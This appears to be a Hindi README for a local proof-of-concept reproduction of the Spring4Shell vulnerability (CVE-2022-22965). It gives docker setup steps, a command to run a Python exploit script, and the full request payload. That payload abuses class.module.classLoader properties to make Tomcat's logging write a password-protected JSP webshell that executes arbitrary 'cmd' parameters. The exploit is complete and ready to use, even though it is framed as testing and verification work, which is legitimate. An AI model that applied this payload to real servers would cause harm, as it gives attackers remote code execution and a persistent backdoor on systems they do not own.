
Spring4Shell (CVE-2022-22965) रिमोट कोड एक्ज़ीक्यूशन भेद्यता को एक Python एक्सप्लॉइट स्क्रिप्ट के साथ पुनरुत्पादित करता है, जो परीक्षण और सत्यापन के लिए Apache Tomcat पर एक JSP वेबशेल तैनात करता है।
Spring4Shell भेद्यता का स्थानीय पुनरुत्पादन प्रक्रिया
पर्यावरण: docker, docker-compose
mvn पैकेजिंग, ./target/ROOT.war तैयार करें```shell
mvn package
* सेवा शुरू करें```shell
docker-compose up -d
## पुनरुत्पादन प्रक्रिया
* स्क्रिप्ट चलाएँ```shell
python3 spring-4-shell-exp.py --url "http://127.0.0.1:8080"


//
➜ spring4shell-poc
* docker कंटेनर में देखा जा सकता है कि tomcat एप्लिकेशन सेवा में एक jsp फ़ाइल बनाई गई है

* web के माध्यम से भी सीधे एक्सेस किया जा सकता है

## ध्यान देने योग्य बातें
* spring-4-shell-exp.py में data डेटा```text
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i
if ("j".equals(request.getParameter("pwd"))) {
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
while ((a = in .read(b)) != -1) {
out.println(new String(b));
}
}
%{suffix}i
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
### संदर्भ
* https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities
* https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement
* https://github.com/liudonghua123/spring-core-rce